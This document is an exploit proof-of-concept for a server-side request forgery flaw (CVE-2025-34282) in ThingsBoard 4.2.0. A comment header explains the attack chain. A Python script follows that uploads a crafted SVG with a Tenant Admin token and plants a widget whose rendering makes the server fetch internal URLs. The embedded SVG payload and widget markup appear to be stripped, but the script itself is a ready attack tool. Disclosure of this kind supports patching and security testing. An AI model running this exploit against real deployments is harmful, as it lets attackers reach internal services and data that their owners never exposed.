# Exploit Title: ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF) # Date: 2026-03-25 # Exploit Author: Tamil Mathi T. # Vendor Homepage: https://thingsboard.io # Software Link: https://github.com/thingsboard/thingsboard # Version: < 4.2.1 # Tested On: ThingsBoard 4.2.0 # CVE: CVE-2025-34282 # References: https://www.cve.org/CVERecord?id=CVE-2025-34282 # https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282 # # Description: # ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image # Upload Gallery feature. An attacker can upload a crafted SVG file containing # a remote URL reference (e.g. via ). # When ThingsBoard processes the uploaded SVG server-side, it fetches the # referenced URL, allowing the attacker to reach internal services not # exposed to the internet. # # Requires a Tenant Admin bearer token. Tenant Admin is a role below System # Admin in ThingsBoard's hierarchy and has access to the Widget Library and # Image Upload Gallery APIs used in this exploit. # # Attack chain: # 1. Upload a malicious SVG to POST /api/image # -> Server processes the SVG and issues a request to the internal URL # 2. Create a custom widget embedding the SVG's publicLink via tag # -> Widget render also triggers the server-side fetch # # SVG payload used (ssrf_localhost_5555_svg.svg): # # # # # # # # # # # Usage: # pip install requests # python thingsboard_ssrf.py # # Example: # python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci... import requests import json import os import sys import argparse import time DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image" DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType" DEFAULT_REFERER = "http://localhost:8080/resources/images" DEFAULT_ORIGIN = "http://localhost:8080" def upload_image(filepath, token): if not os.path.isfile(filepath): raise SystemExit(f"File not found: {filepath}") filename = os.path.basename(filepath) mime_types = { '.svg': 'image/svg+xml', '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg', '.png': 'image/png', '.gif': 'image/gif' } ext = os.path.splitext(filename)[1].lower() mime_type = mime_types.get(ext, 'application/octet-stream') headers = { "X-Authorization": f"Bearer {token}", "User-Agent": "python-requests/2.x", "Referer": DEFAULT_REFERER, "Origin": DEFAULT_ORIGIN, } with open(filepath, "rb") as f: files = { "file": (filename, f, mime_type) } resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False) return resp def create_widget(public_link, token): headers = { "X-Authorization": f"Bearer {token}", "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "Origin": DEFAULT_ORIGIN, "User-Agent": "python-requests" } template_html = f""" """ payload = { "fqn": "SSRF_testing_Poc", "name": "SSRF_testing_Poc", "deprecated": False, "image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png", "description": "Displays the latest air quality index telemetry in a scalable rectangle card.", "descriptor": { "type": "latest", "sizeX": 3, "sizeY": 3, "resources": [], "templateHtml": template_html, "templateCss": "", "controllerScript": "self.onInit = function() {\n self.ctx.$scope.valueCardWidget.onInit();\n};\n\nself.onDataUpdated = function() {\n self.ctx.$scope.valueCardWidget.onDataUpdated();\n};\n\nself.typeParameters = function() {\n return {\n maxDatasources: 1,\n maxDataKeys: 1,\n singleEntity: true,\n previewWidth: '250px',\n previewHeight: '250px',\n embedTitlePanel: true,\n supportsUnitConversion: true,\n defaultDataKeysFunction: function() {\n return [{ name: 'air', label: 'Air Quality Index', type: 'timeseries' }];\n }\n };\n};\n\nself.onDestroy = function() {\n};\n", "dataKeySettingsForm": [], "settingsDirective": "tb-value-card-widget-settings", "hasBasicMode": True, "basicModeDirective": "tb-value-card-basic-config", "defaultConfig": "{\"datasources\":[{\"type\":\"function\",\"name\":\"function\",\"dataKeys\":[{\"name\":\"f(x)\",\"type\":\"function\",\"label\":\"Air Quality Index\",\"color\":\"#2196f3\",\"settings\":{},\"_hash\":0.2392660816082064,\"funcBody\":\"var value = prevValue + Math.random() * 100 - 50;\\nif (value < 0) {\\n\\tvalue = 0;\\n} else if (value > 320) {\\n\\tvalue = 320;\\n}\\nreturn value;\",\"aggregationType\":null,\"units\":null,\"decimals\":null,\"usePostProcessing\":null,\"postFuncBody\":null}],\"alarmFilterConfig\":{\"statusList\":[\"ACTIVE\"]}}],\"timewindow\":{\"realtime\":{\"timewindowMs\":60000}},\"showTitle\":false,\"backgroundColor\":\"rgba(0, 0, 0, 0)\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"padding\":\"0px\",\"settings\":{\"labelPosition\":\"top\",\"layout\":\"square\",\"showLabel\":true,\"labelFont\":{\"size\":14,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"labelColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"showIcon\":true,\"iconSize\":40,\"iconSizeUnit\":\"px\",\"icon\":\"mdi:weather-windy\",\"iconColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}],\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"valueFont\":{\"size\":26,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"valueColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}]},\"showDate\":true,\"dateFormat\":{\"format\":null,\"lastUpdateAgo\":true,\"custom\":false},\"dateFont\":{\"family\":\"Roboto\",\"size\":12,\"sizeUnit\":\"px\",\"style\":\"normal\",\"weight\":\"500\"},\"dateColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.38)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"background\":{\"type\":\"color\",\"color\":\"#fff\",\"overlay\":{\"enabled\":false,\"color\":\"rgba(255,255,255,0.72)\",\"blur\":3}},\"autoScale\":true},\"title\":\"Air quality card\",\"dropShadow\":true,\"enableFullscreen\":false,\"titleStyle\":{\"fontSize\":\"16px\",\"fontWeight\":400},\"units\":\"AQI\",\"decimals\":1,\"useDashboardTimewindow\":true,\"showLegend\":false,\"widgetStyle\":{},\"actions\":{},\"configMode\":\"basic\",\"displayTimewindow\":true,\"margin\":\"0px\",\"borderRadius\":\"0px\",\"widgetCss\":\"\",\"pageSize\":1024,\"noDataDisplayMessage\":\"\",\"showTitleIcon\":false,\"titleTooltip\":\"\",\"titleFont\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1.6\"},\"titleIcon\":\"\",\"iconColor\":\"rgba(0, 0, 0, 0.87)\",\"iconSize\":\"14px\",\"timewindowStyle\":{\"showIcon\":true,\"iconSize\":\"14px\",\"icon\":\"query_builder\",\"iconPosition\":\"left\",\"font\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1\"},\"color\":null}}" }, "resources": None, "scada": False, "tags": ["weather", "environment", "air", "aqi", "pollution", "emission", "smog"] } try: resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload) return resp except Exception as e: print(f"Request failed: {e}", file=sys.stderr) sys.exit(1) def main(image_path, token): try: resp = upload_image(image_path, token) print("Upload Status:", resp.status_code) public_link = resp.json().get("publicLink") or (resp.json().get("data") and resp.json()["data"].get("publicLink")) if not public_link: print(resp.json()) print("Failed to retrieve public link from response.") sys.exit(1) print("Public Link:", public_link) time.sleep(2) widget_resp = create_widget(public_link, token) print("Widget Creation Status:", widget_resp.status_code) print("\n[+] Widget created successfully.") print(" Look for widget named 'SSRF_testing_Poc' in the Widget Library.") print(" Add it to any dashboard to trigger the SSRF.") except Exception as e: print("Error:", e, file=sys.stderr) sys.exit(1) if __name__ == "__main__": parser = argparse.ArgumentParser(description="ThingsBoard SSRF via SVG Upload PoC") parser.add_argument("image", help="Path to the SVG file to upload") parser.add_argument("token", nargs="?", default=os.environ.get("TB_TOKEN"), help="Bearer token (or set TB_TOKEN env var)") args = parser.parse_args() if not args.token: print("Error: token not provided and TB_TOKEN not set.", file=sys.stderr) parser.print_help() sys.exit(2) main(args.image, args.token)